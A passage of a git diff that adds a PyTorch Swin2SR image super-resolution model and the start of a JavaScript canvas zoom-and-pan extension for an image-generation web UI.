norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + downsample (nn.Module | None, optional): Downsample layer at the end of the layer. Default: None + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False. + img_size: Input image size. + patch_size: Patch size. + resi_connection: The convolutional block before residual connection. + """ + + def __init__(self, dim, input_resolution, depth, num_heads, window_size, + mlp_ratio=4., qkv_bias=True, drop=0., attn_drop=0., + drop_path=0., norm_layer=nn.LayerNorm, downsample=None, use_checkpoint=False, + img_size=224, patch_size=4, resi_connection='1conv'): + super(RSTB, self).__init__() + + self.dim = dim + self.input_resolution = input_resolution + + self.residual_group = BasicLayer(dim=dim, + input_resolution=input_resolution, + depth=depth, + num_heads=num_heads, + window_size=window_size, + mlp_ratio=mlp_ratio, + qkv_bias=qkv_bias, + drop=drop, attn_drop=attn_drop, + drop_path=drop_path, + norm_layer=norm_layer, + downsample=downsample, + use_checkpoint=use_checkpoint) + + if resi_connection == '1conv': + self.conv = nn.Conv2d(dim, dim, 3, 1, 1) + elif resi_connection == '3conv': + # to save parameters and memory + self.conv = nn.Sequential(nn.Conv2d(dim, dim // 4, 3, 1, 1), nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(dim // 4, dim // 4, 1, 1, 0), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(dim // 4, dim, 3, 1, 1)) + + self.patch_embed = PatchEmbed( + img_size=img_size, patch_size=patch_size, in_chans=dim, embed_dim=dim, + norm_layer=None) + + self.patch_unembed = PatchUnEmbed( + img_size=img_size, patch_size=patch_size, in_chans=dim, embed_dim=dim, + norm_layer=None) + + def forward(self, x, x_size): + return self.patch_embed(self.conv(self.patch_unembed(self.residual_group(x, x_size), x_size))) + x + + def flops(self): + flops = 0 + flops += self.residual_group.flops() + H, W = self.input_resolution + flops += H * W * self.dim * self.dim * 9 + flops += self.patch_embed.flops() + flops += self.patch_unembed.flops() + + return flops + +class PatchUnEmbed(nn.Module): + r""" Image to Patch Unembedding + + Args: + img_size (int): Image size. Default: 224. + patch_size (int): Patch token size. Default: 4. + in_chans (int): Number of input image channels. Default: 3. + embed_dim (int): Number of linear projection output channels. Default: 96. + norm_layer (nn.Module, optional): Normalization layer. Default: None + """ + + def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None): + super().__init__() + img_size = to_2tuple(img_size) + patch_size = to_2tuple(patch_size) + patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]] + self.img_size = img_size + self.patch_size = patch_size + self.patches_resolution = patches_resolution + self.num_patches = patches_resolution[0] * patches_resolution[1] + + self.in_chans = in_chans + self.embed_dim = embed_dim + + def forward(self, x, x_size): + B, HW, C = x.shape + x = x.transpose(1, 2).view(B, self.embed_dim, x_size[0], x_size[1]) # B Ph*Pw C + return x + + def flops(self): + flops = 0 + return flops + + +class Upsample(nn.Sequential): + """Upsample module. + + Args: + scale (int): Scale factor. Supported scales: 2^n and 3. + num_feat (int): Channel number of intermediate features. + """ + + def __init__(self, scale, num_feat): + m = [] + if (scale & (scale - 1)) == 0: # scale = 2^n + for _ in range(int(math.log(scale, 2))): + m.append(nn.Conv2d(num_feat, 4 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(2)) + elif scale == 3: + m.append(nn.Conv2d(num_feat, 9 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(3)) + else: + raise ValueError(f'scale {scale} is not supported. ' 'Supported scales: 2^n and 3.') + super(Upsample, self).__init__(*m) + +class Upsample_hf(nn.Sequential): + """Upsample module. + + Args: + scale (int): Scale factor. Supported scales: 2^n and 3. + num_feat (int): Channel number of intermediate features. + """ + + def __init__(self, scale, num_feat): + m = [] + if (scale & (scale - 1)) == 0: # scale = 2^n + for _ in range(int(math.log(scale, 2))): + m.append(nn.Conv2d(num_feat, 4 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(2)) + elif scale == 3: + m.append(nn.Conv2d(num_feat, 9 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(3)) + else: + raise ValueError(f'scale {scale} is not supported. ' 'Supported scales: 2^n and 3.') + super(Upsample_hf, self).__init__(*m) + + +class UpsampleOneStep(nn.Sequential): + """UpsampleOneStep module (the difference with Upsample is that it always only has 1conv + 1pixelshuffle) + Used in lightweight SR to save parameters. + + Args: + scale (int): Scale factor. Supported scales: 2^n and 3. + num_feat (int): Channel number of intermediate features. + + """ + + def __init__(self, scale, num_feat, num_out_ch, input_resolution=None): + self.num_feat = num_feat + self.input_resolution = input_resolution + m = [] + m.append(nn.Conv2d(num_feat, (scale ** 2) * num_out_ch, 3, 1, 1)) + m.append(nn.PixelShuffle(scale)) + super(UpsampleOneStep, self).__init__(*m) + + def flops(self): + H, W = self.input_resolution + flops = H * W * self.num_feat * 3 * 9 + return flops + + + +class Swin2SR(nn.Module): + r""" Swin2SR + A PyTorch impl of : `Swin2SR: SwinV2 Transformer for Compressed Image Super-Resolution and Restoration`. + + Args: + img_size (int | tuple(int)): Input image size. Default 64 + patch_size (int | tuple(int)): Patch size. Default: 1 + in_chans (int): Number of input image channels. Default: 3 + embed_dim (int): Patch embedding dimension. Default: 96 + depths (tuple(int)): Depth of each Swin Transformer layer. + num_heads (tuple(int)): Number of attention heads in different layers. + window_size (int): Window size. Default: 7 + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. Default: 4 + qkv_bias (bool): If True, add a learnable bias to query, key, value. Default: True + drop_rate (float): Dropout rate. Default: 0 + attn_drop_rate (float): Attention dropout rate. Default: 0 + drop_path_rate (float): Stochastic depth rate. Default: 0.1 + norm_layer (nn.Module): Normalization layer. Default: nn.LayerNorm. + ape (bool): If True, add absolute position embedding to the patch embedding. Default: False + patch_norm (bool): If True, add normalization after patch embedding. Default: True + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False + upscale: Upscale factor. 2/3/4/8 for image SR, 1 for denoising and compress artifact reduction + img_range: Image range. 1. or 255. + upsampler: The reconstruction reconstruction module. 'pixelshuffle'/'pixelshuffledirect'/'nearest+conv'/None + resi_connection: The convolutional block before residual connection. '1conv'/'3conv' + """ + + def __init__(self, img_size=64, patch_size=1, in_chans=3, + embed_dim=96, depths=(6, 6, 6, 6), num_heads=(6, 6, 6, 6), + window_size=7, mlp_ratio=4., qkv_bias=True, + drop_rate=0., attn_drop_rate=0., drop_path_rate=0.1, + norm_layer=nn.LayerNorm, ape=False, patch_norm=True, + use_checkpoint=False, upscale=2, img_range=1., upsampler='', resi_connection='1conv', + **kwargs): + super(Swin2SR, self).__init__() + num_in_ch = in_chans + num_out_ch = in_chans + num_feat = 64 + self.img_range = img_range + if in_chans == 3: + rgb_mean = (0.4488, 0.4371, 0.4040) + self.mean = torch.Tensor(rgb_mean).view(1, 3, 1, 1) + else: + self.mean = torch.zeros(1, 1, 1, 1) + self.upscale = upscale + self.upsampler = upsampler + self.window_size = window_size + + ##################################################################################################### + ################################### 1, shallow feature extraction ################################### + self.conv_first = nn.Conv2d(num_in_ch, embed_dim, 3, 1, 1) + + ##################################################################################################### + ################################### 2, deep feature extraction ###################################### + self.num_layers = len(depths) + self.embed_dim = embed_dim + self.ape = ape + self.patch_norm = patch_norm + self.num_features = embed_dim + self.mlp_ratio = mlp_ratio + + # split image into non-overlapping patches + self.patch_embed = PatchEmbed( + img_size=img_size, patch_size=patch_size, in_chans=embed_dim, embed_dim=embed_dim, + norm_layer=norm_layer if self.patch_norm else None) + num_patches = self.patch_embed.num_patches + patches_resolution = self.patch_embed.patches_resolution + self.patches_resolution = patches_resolution + + # merge non-overlapping patches into image + self.patch_unembed = PatchUnEmbed( + img_size=img_size, patch_size=patch_size, in_chans=embed_dim, embed_dim=embed_dim, + norm_layer=norm_layer if self.patch_norm else None) + + # absolute position embedding + if self.ape: + self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim)) + trunc_normal_(self.absolute_pos_embed, std=.02) + + self.pos_drop = nn.Dropout(p=drop_rate) + + # stochastic depth + dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule + + # build Residual Swin Transformer blocks (RSTB) + self.layers = nn.ModuleList() + for i_layer in range(self.num_layers): + layer = RSTB(dim=embed_dim, + input_resolution=(patches_resolution[0], + patches_resolution[1]), + depth=depths[i_layer], + num_heads=num_heads[i_layer], + window_size=window_size, + mlp_ratio=self.mlp_ratio, + qkv_bias=qkv_bias, + drop=drop_rate, attn_drop=attn_drop_rate, + drop_path=dpr[sum(depths[:i_layer]):sum(depths[:i_layer + 1])], # no impact on SR results + norm_layer=norm_layer, + downsample=None, + use_checkpoint=use_checkpoint, + img_size=img_size, + patch_size=patch_size, + resi_connection=resi_connection + + ) + self.layers.append(layer) + + if self.upsampler == 'pixelshuffle_hf': + self.layers_hf = nn.ModuleList() + for i_layer in range(self.num_layers): + layer = RSTB(dim=embed_dim, + input_resolution=(patches_resolution[0], + patches_resolution[1]), + depth=depths[i_layer], + num_heads=num_heads[i_layer], + window_size=window_size, + mlp_ratio=self.mlp_ratio, + qkv_bias=qkv_bias, + drop=drop_rate, attn_drop=attn_drop_rate, + drop_path=dpr[sum(depths[:i_layer]):sum(depths[:i_layer + 1])], # no impact on SR results + norm_layer=norm_layer, + downsample=None, + use_checkpoint=use_checkpoint, + img_size=img_size, + patch_size=patch_size, + resi_connection=resi_connection + + ) + self.layers_hf.append(layer) + + self.norm = norm_layer(self.num_features) + + # build the last conv layer in deep feature extraction + if resi_connection == '1conv': + self.conv_after_body = nn.Conv2d(embed_dim, embed_dim, 3, 1, 1) + elif resi_connection == '3conv': + # to save parameters and memory + self.conv_after_body = nn.Sequential(nn.Conv2d(embed_dim, embed_dim // 4, 3, 1, 1), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(embed_dim // 4, embed_dim // 4, 1, 1, 0), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(embed_dim // 4, embed_dim, 3, 1, 1)) + + ##################################################################################################### + ################################ 3, high quality image reconstruction ################################ + if self.upsampler == 'pixelshuffle': + # for classical SR + self.conv_before_upsample = nn.Sequential(nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.upsample = Upsample(upscale, num_feat) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + elif self.upsampler == 'pixelshuffle_aux': + self.conv_bicubic = nn.Conv2d(num_in_ch, num_feat, 3, 1, 1) + self.conv_before_upsample = nn.Sequential( + nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.conv_aux = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + self.conv_after_aux = nn.Sequential( + nn.Conv2d(3, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.upsample = Upsample(upscale, num_feat) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + + elif self.upsampler == 'pixelshuffle_hf': + self.conv_before_upsample = nn.Sequential(nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.upsample = Upsample(upscale, num_feat) + self.upsample_hf = Upsample_hf(upscale, num_feat) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + self.conv_first_hf = nn.Sequential(nn.Conv2d(num_feat, embed_dim, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.conv_after_body_hf = nn.Conv2d(embed_dim, embed_dim, 3, 1, 1) + self.conv_before_upsample_hf = nn.Sequential( + nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.conv_last_hf = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + + elif self.upsampler == 'pixelshuffledirect': + # for lightweight SR (to save parameters) + self.upsample = UpsampleOneStep(upscale, embed_dim, num_out_ch, + (patches_resolution[0], patches_resolution[1])) + elif self.upsampler == 'nearest+conv': + # for real-world SR (less artifacts) + assert self.upscale == 4, 'only support x4 now.' + self.conv_before_upsample = nn.Sequential(nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.conv_up1 = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + self.conv_up2 = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + self.conv_hr = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + self.lrelu = nn.LeakyReLU(negative_slope=0.2, inplace=True) + else: + # for image denoising and JPEG compression artifact reduction + self.conv_last = nn.Conv2d(embed_dim, num_out_ch, 3, 1, 1) + + self.apply(self._init_weights) + + def _init_weights(self, m): + if isinstance(m, nn.Linear): + trunc_normal_(m.weight, std=.02) + if isinstance(m, nn.Linear) and m.bias is not None: + nn.init.constant_(m.bias, 0) + elif isinstance(m, nn.LayerNorm): + nn.init.constant_(m.bias, 0) + nn.init.constant_(m.weight, 1.0) + + @torch.jit.ignore + def no_weight_decay(self): + return {'absolute_pos_embed'} + + @torch.jit.ignore + def no_weight_decay_keywords(self): + return {'relative_position_bias_table'} + + def check_image_size(self, x): + _, _, h, w = x.size() + mod_pad_h = (self.window_size - h % self.window_size) % self.window_size + mod_pad_w = (self.window_size - w % self.window_size) % self.window_size + x = F.pad(x, (0, mod_pad_w, 0, mod_pad_h), 'reflect') + return x + + def forward_features(self, x): + x_size = (x.shape[2], x.shape[3]) + x = self.patch_embed(x) + if self.ape: + x = x + self.absolute_pos_embed + x = self.pos_drop(x) + + for layer in self.layers: + x = layer(x, x_size) + + x = self.norm(x) # B L C + x = self.patch_unembed(x, x_size) + + return x + + def forward_features_hf(self, x): + x_size = (x.shape[2], x.shape[3]) + x = self.patch_embed(x) + if self.ape: + x = x + self.absolute_pos_embed + x = self.pos_drop(x) + + for layer in self.layers_hf: + x = layer(x, x_size) + + x = self.norm(x) # B L C + x = self.patch_unembed(x, x_size) + + return x + + def forward(self, x): + H, W = x.shape[2:] + x = self.check_image_size(x) + + self.mean = self.mean.type_as(x) + x = (x - self.mean) * self.img_range + + if self.upsampler == 'pixelshuffle': + # for classical SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.conv_before_upsample(x) + x = self.conv_last(self.upsample(x)) + elif self.upsampler == 'pixelshuffle_aux': + bicubic = F.interpolate(x, size=(H * self.upscale, W * self.upscale), mode='bicubic', align_corners=False) + bicubic = self.conv_bicubic(bicubic) + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.conv_before_upsample(x) + aux = self.conv_aux(x) # b, 3, LR_H, LR_W + x = self.conv_after_aux(aux) + x = self.upsample(x)[:, :, :H * self.upscale, :W * self.upscale] + bicubic[:, :, :H * self.upscale, :W * self.upscale] + x = self.conv_last(x) + aux = aux / self.img_range + self.mean + elif self.upsampler == 'pixelshuffle_hf': + # for classical SR with HF + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x_before = self.conv_before_upsample(x) + x_out = self.conv_last(self.upsample(x_before)) + + x_hf = self.conv_first_hf(x_before) + x_hf = self.conv_after_body_hf(self.forward_features_hf(x_hf)) + x_hf + x_hf = self.conv_before_upsample_hf(x_hf) + x_hf = self.conv_last_hf(self.upsample_hf(x_hf)) + x = x_out + x_hf + x_hf = x_hf / self.img_range + self.mean + + elif self.upsampler == 'pixelshuffledirect': + # for lightweight SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.upsample(x) + elif self.upsampler == 'nearest+conv': + # for real-world SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.conv_before_upsample(x) + x = self.lrelu(self.conv_up1(torch.nn.functional.interpolate(x, scale_factor=2, mode='nearest'))) + x = self.lrelu(self.conv_up2(torch.nn.functional.interpolate(x, scale_factor=2, mode='nearest'))) + x = self.conv_last(self.lrelu(self.conv_hr(x))) + else: + # for image denoising and JPEG compression artifact reduction + x_first = self.conv_first(x) + res = self.conv_after_body(self.forward_features(x_first)) + x_first + x = x + self.conv_last(res) + + x = x / self.img_range + self.mean + if self.upsampler == "pixelshuffle_aux": + return x[:, :, :H*self.upscale, :W*self.upscale], aux + + elif self.upsampler == "pixelshuffle_hf": + x_out = x_out / self.img_range + self.mean + return x_out[:, :, :H*self.upscale, :W*self.upscale], x[:, :, :H*self.upscale, :W*self.upscale], x_hf[:, :, :H*self.upscale, :W*self.upscale] + + else: + return x[:, :, :H*self.upscale, :W*self.upscale] + + def flops(self): + flops = 0 + H, W = self.patches_resolution + flops += H * W * 3 * self.embed_dim * 9 + flops += self.patch_embed.flops() + for layer in self.layers: + flops += layer.flops() + flops += H * W * 3 * self.embed_dim * self.embed_dim + flops += self.upsample.flops() + return flops + + +if __name__ == '__main__': + upscale = 4 + window_size = 8 + height = (1024 // upscale // window_size + 1) * window_size + width = (720 // upscale // window_size + 1) * window_size + model = Swin2SR(upscale=2, img_size=(height, width), + window_size=window_size, img_range=1., depths=[6, 6, 6, 6], + embed_dim=60, num_heads=[6, 6, 6, 6], mlp_ratio=2, upsampler='pixelshuffledirect') + print(model) + print(height, width, model.flops() / 1e9) + + x = torch.randn((1, 3, height, width)) + x = model(x) + print(x.shape) diff --git a/extensions-builtin/canvas-zoom-and-pan/javascript/zoom.js b/extensions-builtin/canvas-zoom-and-pan/javascript/zoom.js new file mode 100644 index 0000000000000000000000000000000000000000..45c7600ac5f81bc8c7b233162d73f6551c8b5e8d --- /dev/null +++ b/extensions-builtin/canvas-zoom-and-pan/javascript/zoom.js @@ -0,0 +1,962 @@ +onUiLoaded(async() => { + const elementIDs = { + img2imgTabs: "#mode_img2img .tab-nav", + inpaint: "#img2maskimg", + inpaintSketch: "#inpaint_sketch", + rangeGroup: "#img2img_column_size", + sketch: "#img2img_sketch" + }; + const tabNameToElementId = { + "Inpaint sketch": elementIDs.inpaintSketch, + "Inpaint": elementIDs.inpaint, + "Sketch": elementIDs.sketch + }; + + + // Helper functions + // Get active tab + + /** + * Waits for an element to be present in the DOM. + */ + const waitForElement = (id) => new Promise(resolve => { + const checkForElement = () => { + const element = document.querySelector(id); + if (element) return resolve(element); + setTimeout(checkForElement, 100); + }; + checkForElement(); + }); + + function getActiveTab(elements, all = false) { + const tabs = elements.img2imgTabs.querySelectorAll("button"); + + if (all) return tabs; + + for (let tab of tabs) { + if (tab.classList.contains("selected")) { + return tab; + } + } + } + + // Get tab ID + function getTabId(elements) { + const activeTab = getActiveTab(elements); + return tabNameToElementId[activeTab.innerText]; + } + + // Wait until opts loaded + async function waitForOpts() { + for (; ;) { + if (window.opts && Object.keys(window.opts).length) { + return window.opts; + } + await new Promise(resolve => setTimeout(resolve, 100)); + } + } + + // Detect whether the element has a horizontal scroll bar + function hasHorizontalScrollbar(element) { + return element.scrollWidth > element.clientWidth; + } + + // Function for defining the "Ctrl", "Shift" and "Alt" keys + function isModifierKey(event, key) { + switch (key) { + case "Ctrl": + return event.ctrlKey; + case "Shift": + return event.shiftKey; + case "Alt": + return event.altKey; + default: + return false; + } + } + + // Check if hotkey is valid + function isValidHotkey(value) { + const specialKeys = ["Ctrl", "Alt", "Shift", "Disable"]; + return ( + (typeof value === "string" && + value.length === 1 && + /[a-z]/i.test(value)) || + specialKeys.includes(value) + ); + } + + // Normalize hotkey + function normalizeHotkey(hotkey) { + return hotkey.length === 1 ? "Key" + hotkey.toUpperCase() : hotkey; + } + + // Format hotkey for display + function formatHotkeyForDisplay(hotkey) { + return hotkey.startsWith("Key") ? hotkey.slice(3) : hotkey; + } + + // Create hotkey configuration with the provided options + function createHotkeyConfig(defaultHotkeysConfig, hotkeysConfigOpts) { + const result = {}; // Resulting hotkey configuration + const usedKeys = new Set(); // Set of used hotkeys + + // Iterate through defaultHotkeysConfig keys + for (const key in defaultHotkeysConfig) { + const userValue = hotkeysConfigOpts[key]; // User-provided hotkey value + const defaultValue = defaultHotkeysConfig[key]; // Default hotkey value + + // Apply appropriate value for undefined, boolean, or object userValue + if ( + userValue === undefined || + typeof userValue === "boolean" || + typeof userValue === "object" || + userValue === "disable" + ) { + result[key] = + userValue === undefined ? defaultValue : userValue; + } else if (isValidHotkey(userValue)) { + const normalizedUserValue = normalizeHotkey(userValue); + + // Check for conflicting hotkeys + if (!usedKeys.has(normalizedUserValue)) { + usedKeys.add(normalizedUserValue); + result[key] = normalizedUserValue; + } else { + console.error( + `Hotkey: ${formatHotkeyForDisplay( + userValue + )} for ${key} is repeated and conflicts with another hotkey. The default hotkey is used: ${formatHotkeyForDisplay( + defaultValue + )}` + ); + result[key] = defaultValue; + } + } else { + console.error( + `Hotkey: ${formatHotkeyForDisplay( + userValue + )} for ${key} is not valid. The default hotkey is used: ${formatHotkeyForDisplay( + defaultValue + )}` + ); + result[key] = defaultValue; + } + } + + return result; + } + + // Disables functions in the config object based on the provided list of function names + function disableFunctions(config, disabledFunctions) { + // Bind the hasOwnProperty method to the functionMap object to avoid errors + const hasOwnProperty = + Object.prototype.hasOwnProperty.bind(functionMap); + + // Loop through the disabledFunctions array and disable the corresponding functions in the config object + disabledFunctions.forEach(funcName => { + if (hasOwnProperty(funcName)) { + const key = functionMap[funcName]; + config[key] = "disable"; + } + }); + + // Return the updated config object + return config; + } + + /** + * The restoreImgRedMask function displays a red mask around an image to indicate the aspect ratio. + * If the image display property is set to 'none', the mask breaks. To fix this, the function + * temporarily sets the display property to 'block' and then hides the mask again after 300 milliseconds + * to avoid breaking the canvas. Additionally, the function adjusts the mask to work correctly on + * very long images. + */ + function restoreImgRedMask(elements) { + const mainTabId = getTabId(elements); + + if (!mainTabId) return; + + const mainTab = gradioApp().querySelector(mainTabId); + const img = mainTab.querySelector("img"); + const imageARPreview = gradioApp().querySelector("#imageARPreview"); + + if (!img || !imageARPreview) return; + + imageARPreview.style.transform = ""; + if (parseFloat(mainTab.style.width) > 865) { + const transformString = mainTab.style.transform; + const scaleMatch = transformString.match( + /scale\(([-+]?[0-9]*\.?[0-9]+)\)/ + ); + let zoom = 1; // default zoom + + if (scaleMatch && scaleMatch[1]) { + zoom = Number(scaleMatch[1]); + } + + imageARPreview.style.transformOrigin = "0 0"; + imageARPreview.style.transform = `scale(${zoom})`; + } + + if (img.style.display !== "none") return; + + img.style.display = "block"; + + setTimeout(() => { + img.style.display = "none"; + }, 400); + } + + const hotkeysConfigOpts = await waitForOpts(); + + // Default config + const defaultHotkeysConfig = { + canvas_hotkey_zoom: "Alt", + canvas_hotkey_adjust: "Ctrl", + canvas_hotkey_reset: "KeyR", + canvas_hotkey_fullscreen: "KeyS", + canvas_hotkey_move: "KeyF", + canvas_hotkey_overlap: "KeyO", + canvas_disabled_functions: [], + canvas_show_tooltip: true, + canvas_auto_expand: true, + canvas_blur_prompt: false, + }; + + const functionMap = { + "Zoom": "canvas_hotkey_zoom", + "Adjust brush size": "canvas_hotkey_adjust", + "Moving canvas": "canvas_hotkey_move", + "Fullscreen": "canvas_hotkey_fullscreen", + "Reset Zoom": "canvas_hotkey_reset", + "Overlap": "canvas_hotkey_overlap" + }; + + // Loading the configuration from opts + const preHotkeysConfig = createHotkeyConfig( + defaultHotkeysConfig, + hotkeysConfigOpts + ); + + // Disable functions that are not needed by the user + const hotkeysConfig = disableFunctions( + preHotkeysConfig, + preHotkeysConfig.canvas_disabled_functions + ); + + let isMoving = false; + let mouseX, mouseY; + let activeElement; + + const elements = Object.fromEntries( + Object.keys(elementIDs).map(id => [ + id, + gradioApp().querySelector(elementIDs[id]) + ]) + ); + const elemData = {}; + + // Apply functionality to the range inputs. Restore redmask and correct for long images. + const rangeInputs = elements.rangeGroup ? + Array.from(elements.rangeGroup.querySelectorAll("input")) : + [ + gradioApp().querySelector("#img2img_width input[type='range']"), + gradioApp().querySelector("#img2img_height input[type='range']") + ]; + + for (const input of rangeInputs) { + input?.addEventListener("input", () => restoreImgRedMask(elements)); + } + + function applyZoomAndPan(elemId, isExtension = true) { + const targetElement = gradioApp().querySelector(elemId); + + if (!targetElement) { + console.log("Element not found"); + return; + } + + targetElement.style.transformOrigin = "0 0"; + + elemData[elemId] = { + zoom: 1, + panX: 0, + panY: 0 + }; + let fullScreenMode = false; + + // Create tooltip + function createTooltip() { + const toolTipElemnt = + targetElement.querySelector(".image-container"); + const tooltip = document.createElement("div"); + tooltip.className = "canvas-tooltip"; + + // Creating an item of information + const info = document.createElement("i"); + info.className = "canvas-tooltip-info"; + info.textContent = ""; + + // Create a container for the contents of the tooltip + const tooltipContent = document.createElement("div"); + tooltipContent.className = "canvas-tooltip-content"; + + // Define an array with hotkey information and their actions + const hotkeysInfo = [ + { + configKey: "canvas_hotkey_zoom", + action: "Zoom canvas", + keySuffix: " + wheel" + }, + { + configKey: "canvas_hotkey_adjust", + action: "Adjust brush size", + keySuffix: " + wheel" + }, + {configKey: "canvas_hotkey_reset", action: "Reset zoom"}, + { + configKey: "canvas_hotkey_fullscreen", + action: "Fullscreen mode" + }, + {configKey: "canvas_hotkey_move", action: "Move canvas"}, + {configKey: "canvas_hotkey_overlap", action: "Overlap"} + ]; + + // Create hotkeys array with disabled property based on the config values + const hotkeys = hotkeysInfo.map(info => { + const configValue = hotkeysConfig[info.configKey]; + const key = info.keySuffix ? + `${configValue}${info.keySuffix}` : + configValue.charAt(configValue.length - 1); + return { + key, + action: info.action, + disabled: configValue === "disable" + }; + }); + + for (const hotkey of hotkeys) { + if (hotkey.disabled) { + continue; + } + + const p = document.createElement("p"); + p.innerHTML = `${hotkey.key} - ${hotkey.action}`; + tooltipContent.appendChild(p); + } + + // Add information and content elements to the tooltip element + tooltip.appendChild(info); + tooltip.appendChild(tooltipContent); + + // Add a hint element to the target element + toolTipElemnt.appendChild(tooltip); + } + + //Show tool tip if setting enable + if (hotkeysConfig.canvas_show_tooltip) { + createTooltip(); + } + + // In the course of research, it was found that the tag img is very harmful when zooming and creates white canvases. This hack allows you to almost never think about this problem, it has no effect on webui. + function fixCanvas() { + const activeTab = getActiveTab(elements).textContent.trim(); + + if (activeTab !== "img2img") { + const img = targetElement.querySelector(`${elemId} img`); + + if (img && img.style.display !== "none") { + img.style.display = "none"; + img.style.visibility = "hidden"; + } + } + } + + // Reset the zoom level and pan position of the target element to their initial values + function resetZoom() { + elemData[elemId] = { + zoomLevel: 1, + panX: 0, + panY: 0 + }; + + if (isExtension) { + targetElement.style.overflow = "hidden"; + } + + targetElement.isZoomed = false; + + fixCanvas(); + targetElement.style.transform = `scale(${elemData[elemId].zoomLevel}) translate(${elemData[elemId].panX}px, ${elemData[elemId].panY}px)`; + + const canvas = gradioApp().querySelector( + `${elemId} canvas[key="interface"]` + ); + + toggleOverlap("off"); + fullScreenMode = false; + + const closeBtn = targetElement.querySelector("button[aria-label='Remove Image']"); + if (closeBtn) { + closeBtn.addEventListener("click", resetZoom); + } + + if (canvas && isExtension) { + const parentElement = targetElement.closest('[id^="component-"]'); + if ( + canvas && + parseFloat(canvas.style.width) > parentElement.offsetWidth && + parseFloat(targetElement.style.width) > parentElement.offsetWidth + ) { + fitToElement(); + return; + } + + } + + if ( + canvas && + !isExtension && + parseFloat(canvas.style.width) > 865 && + parseFloat(targetElement.style.width) > 865 + ) { + fitToElement(); + return; + } + + targetElement.style.width = ""; + } + + // Toggle the zIndex of the target element between two values, allowing it to overlap or be overlapped by other elements + function toggleOverlap(forced = "") { + const zIndex1 = "0"; + const zIndex2 = "998"; + + targetElement.style.zIndex = + targetElement.style.zIndex !== zIndex2 ? zIndex2 : zIndex1; + + if (forced === "off") { + targetElement.style.zIndex = zIndex1; + } else if (forced === "on") { + targetElement.style.zIndex = zIndex2; + } + } + + // Adjust the brush size based on the deltaY value from a mouse wheel event + function adjustBrushSize( + elemId, + deltaY, + withoutValue = false, + percentage = 5 + ) { + const input = + gradioApp().querySelector( + `${elemId} input[aria-label='Brush radius']` + ) || + gradioApp().querySelector( + `${elemId} button[aria-label="Use brush"]` + ); + + if (input) { + input.click(); + if (!withoutValue) { + const maxValue = + parseFloat(input.getAttribute("max")) || 100; + const changeAmount = maxValue * (percentage / 100); + const newValue = + parseFloat(input.value) + + (deltaY > 0 ? -changeAmount : changeAmount); + input.value = Math.min(Math.max(newValue, 0), maxValue); + input.dispatchEvent(new Event("change")); + } + } + } + + // Reset zoom when uploading a new image + const fileInput = gradioApp().querySelector( + `${elemId} input[type="file"][accept="image/*"].svelte-116rqfv` + ); + fileInput.addEventListener("click", resetZoom); + + // Update the zoom level and pan position of the target element based on the values of the zoomLevel, panX and panY variables + function updateZoom(newZoomLevel, mouseX, mouseY) { + newZoomLevel = Math.max(0.1, Math.min(newZoomLevel, 15)); + + elemData[elemId].panX += + mouseX - (mouseX * newZoomLevel) / elemData[elemId].zoomLevel; + elemData[elemId].panY += + mouseY - (mouseY * newZoomLevel) / elemData[elemId].zoomLevel; + + targetElement.style.transformOrigin = "0 0"; + targetElement.style.transform = `translate(${elemData[elemId].panX}px, ${elemData[elemId].panY}px) scale(${newZoomLevel})`; + + toggleOverlap("on"); + if (isExtension) { + targetElement.style.overflow = "visible"; + } + + return newZoomLevel; + } + + // Change the zoom level based on user interaction + function changeZoomLevel(operation, e) { + if (isModifierKey(e, hotkeysConfig.canvas_hotkey_zoom)) { + e.preventDefault(); + + let zoomPosX, zoomPosY; + let delta = 0.2; + if (elemData[elemId].zoomLevel > 7) { + delta = 0.9; + } else if (elemData[elemId].zoomLevel > 2) { + delta = 0.6; + } + + zoomPosX = e.clientX; + zoomPosY = e.clientY; + + fullScreenMode = false; + elemData[elemId].zoomLevel = updateZoom( + elemData[elemId].zoomLevel + + (operation === "+" ? delta : -delta), + zoomPosX - targetElement.getBoundingClientRect().left, + zoomPosY - 